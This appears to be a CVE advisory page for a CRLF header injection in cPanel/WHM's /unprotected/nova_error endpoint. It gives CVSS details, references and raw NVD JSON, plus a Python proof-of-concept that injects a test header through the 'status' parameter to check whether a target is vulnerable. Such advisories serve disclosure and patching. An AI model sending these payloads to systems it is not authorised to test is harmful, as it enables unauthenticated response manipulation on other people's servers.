CVE-2026-32993

Description

Improper sanitization of the `status` query parameter of the `/unprotected/nova_error` endpoint allows unauthenticated attacker to inject arbitrary HTTP header to the response.

CVSS Details

CVSS Score

8.3

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

cPanel/WHM < 2026年5月13日安全补丁版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def check_cve_2026_32993(target_url):
    """Check for CVE-2026-32993 HTTP Header Injection"""
    vuln_url = f"{target_url}/unprotected/nova_error"
    # Payload injects CRLF followed by a custom test header
    # %0d%0a represents CRLF characters
    payload = "200 OK%0d%0aX-CVE-2026-Test: header_injected"
    
    try:
        response = requests.get(vuln_url, params={"status": payload}, timeout=5)
        
        # Verify if the arbitrary header was reflected in the response
        if "X-CVE-2026-Test" in response.headers:
            print(f"[+] Target {target_url} is VULNERABLE!")
            print(f"[+] Injected Header Found: {response.headers['X-CVE-2026-Test']}")
            return True
        else:
            print(f"[-] Target {target_url} appears safe or patched.")
            return False
    except Exception as e:
        print(f"[!] Error connecting to target: {e}")
        return False

# Usage
# target = "http://example.com:2082"
# check_cve_2026_32993(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-32993
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-32993
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-32993/
[4] VulDB https://vuldb.com/cve/CVE-2026-32993
[5] https://support.cpanel.net/hc/en-us/articles/40437313190295-Security-CVE-2026-32993-cPanel-WHM-WP2-Security-Update-May-13-2026

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-32993", "sourceIdentifier": "[email protected]", "published": "2026-05-13T22:16:43.143", "lastModified": "2026-05-14T16:49:18.583", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper sanitization of the `status` query parameter of the `/unprotected/nova_error` endpoint allows unauthenticated attacker to inject arbitrary HTTP header to the response."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-93"}]}], "references": [{"url": "https://support.cpanel.net/hc/en-us/articles/40437313190295-Security-CVE-2026-32993-cPanel-WHM-WP2-Security-Update-May-13-2026", "source": "[email protected]"}]}}